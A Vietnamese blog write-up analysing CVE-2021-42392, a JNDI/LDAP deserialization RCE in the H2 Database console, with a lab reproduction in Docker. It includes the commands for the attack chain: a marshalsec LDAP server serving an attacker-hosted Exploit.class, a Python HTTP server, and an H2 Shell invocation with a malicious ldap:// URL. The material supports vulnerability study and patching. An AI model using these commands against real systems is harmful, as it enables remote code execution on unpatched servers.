Lỗ hổng này là một lỗ hổng liên quan đến Deserialization. Nó khá giống với Log4j, nhưng impact thì thấp hơn rất nhiều.
1. Về mục tiêu
Target là H2 Database version < 2.0.206. H2 Database là một hệ quản trị cơ sở dữ liệu quan hệ. Các tính năng của nó cũng tương tự với hệ quản trị CSDLQH khác như Mysql, SQLServer, … nhưng thường được dùng trong Java Spring Boot.
Giao diện của H2 console trông hơi phèn phèn, có vẻ là khá cũ kĩ rồi.
2. Phân tích lỗ hổng
Lỗ hổng CVE-2021-42392 là lỗ hổng liên quan đến việc kiểm tra đầu vào không an toàn của Driver Class và JDBC URL dẫn tới tải một payload chứa object nguy hiểm, sau đó Deserialize và dẫn tới RCE.
Anh em nào từng làm việc với Log4shell thì biết lỗ hổng này hoạt động như thế nào.
Lỗ hổng xảy ra khi thực thi hàm lookup đối với 1 url do người dùng kiểm soát tại util/JdbcUtils.class.
Chả hiểu sao thằng IntelliJ này lại decompile ra toàn var1 var2,… nhìn hơi ức chế nên mình chuyển sang jd-gui thử. Anh em nhìn ở đây sẽ dễ hơn:
Chức năng connect DB ở trong H2 Console dùng để anh em nhập Driver (ví dụ Mysql Driver, Postgresql Driver, MongoDB Driver, …) và JDBC là path để connect tới DB đó, tuy nhiên việc check rất sơ sài.
Hàm chỉ kiểm tra xem giá trị JDBC có bắt đầu bằng jdbc:h2 không, sau đó tiến tới đoạn code sau luôn.
Sau đó ở lệnh if tiếp theo, hàm kiểm tra xem Driver nhập vào có phải là javax.naming.Context hay không (biến d ở trên được gán với Driver input). Sau đó nó sẽ thực hiện JNDI lookup URL đó. Nếu URL đó là URL mà kẻ tấn công kiểm soát, chúng có thể chèn một object nguy hiểm để hệ thống Deserialize và dẫn đến RCE.
Tại sao JNDI lookup URL lại có thể deserialize được object?
Trước tiên anh em nên đọc thêm tác dụng của JNDI tại đây. Với anh em nào code Java nhiều thì khả năng sẽ dễ hiểu hoặc cũng nằm lòng JNDI rồi, còn mình ít dùng Java nên ban đầu đọc về thằng này cũng hơi khó hiểu. JNDI viết tắt của Java Naming and Directory Interface. Như cái tên, nó là 1 Interface, sử dụng cho các dịch vụ đặt tên và thư mục. JNDI đặt tên cho các đối tượng, để chúng thân thiện hơn với người dùng. Để sử dụng JNDI thì mình phải Implement nó (vì nó là Interface mà). Ràng buộc giữa tên và đối tượng được gọi là bind.
Trường hợp thường gặp nhất của JNDI là DNS, một dịch vụ giúp ánh xạ tên miền với địa chỉ IP.
Trong trường hợp này, ta sẽ sử dụng phương thức LDAP, một phương thức truy cập cấu trúc cây thư mục, hay sử dụng trong xác thực. LDAP cũng có chức năng ánh xạ từ tên sang object giống JNDI, vì nó Implement từ JNDI mà.
Cụ thể hơn về LDAP anh em có thể đọc ở đây.
Trong trường hợp này, một LDAP server được điều khiển bởi attacker, có chứa 1 object payload độc hại bind với 1 tên. H2 đóng vai trò là client, thực hiện gọi phương thức LDAP, tìm kiếm giá trị tên đó, sau đó nhận về object độc hại, rồi deserialize để đọc dữ liệu và dẫn tới RCE.
Để gọi tới phương thức LDAP và thực hiện tìm kiếm tên và trả về object, hàm Context.lookup nhận vào giá trị dạng ldap://<attacker-ldap-server>:<ldap-port>/<Name>
.
Nhập Driver Class là javax.naming.InitialContext
để bypass hàm if check, sau đó đưa URL ldap vào, kết quả khi debug sẽ là:
Như vậy với một payload cơ bản thì hàm đã thực hiện JNDI lookup. Việc tiếp theo cần làm là dựng một LDAP server có chứa binding giữa một giá trị name là Exploit với một Object nguy hiểm tại cổng 1389. Sử dụng tool marshalsec, một tool dựng các server với các giao thức khác nhau rất tiện lợi.
Làm theo hướng dẫn trên README để build file jar của marshalsec, sau đó chạy lệnh java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://172.17.0.1:8000/#Exploit
để tạo ra server LDAP port 1389, bind giữa name Exploit với object Exploit.class. Nếu có client nào thực hiện LDAP search tới server với name Exploit, server sẽ trả về kết quả lookup là link http://172.17.0.1:8000/Exploit.class. Client – tức H2 sẽ gửi get request tới link đó để nhận về Object rồi Deserialize. Việc cuối cùng cần làm là tạo 1 class tên là Exploit và chứa đoạn payload nguy hiểm ở trong đó.
Class này nếu chạy sẽ thực hiện ping đến server của kẻ tấn công. Build ra class bằng lệnh javac Exploit.java, sau đó mở một http server port 8000 tại đây bằng python3 -m http.server.
3. Thực hiện khai thác
Dựng môi trường bằng docker với h2database lấy ở đây.
Sau đó truy cập đến giao diện H2 Console rồi chèn payload như sau:
Cũng không hiểu tại sao không thể curl từ trong container ra máy thật được nên mình đành phải dùng lệnh ping để demo.
Kết quả là: Server H2 thực hiện truy vấn LDAP đến server attacker dựng bằng marshalsec, sau đó server attacker redirect sang HTTP server của attacker có chứa object nguy hiểm, và server H2 deserialize object đó và RCE thành công.
*Note: Lỗ hổng chỉ ảnh hưởng tới anh em connect dùng H2 Console, vì khi có console thì người dùng mới có thể kiểm soát được đầu vào của nó. Ngoài ra các giá trị đầu vào này có thể chạy bằng CommandLine: java -cp h2-2.0.202.jar org.h2.tools.Shell -driver javax.naming.InitialContext -url ldap://172.17.0.1:1389/Exploit
nên nếu anh em kiểm soát được các tham số này thì cũng sẽ khai thác được lỗ hổng.
Nguồn: viblo.asia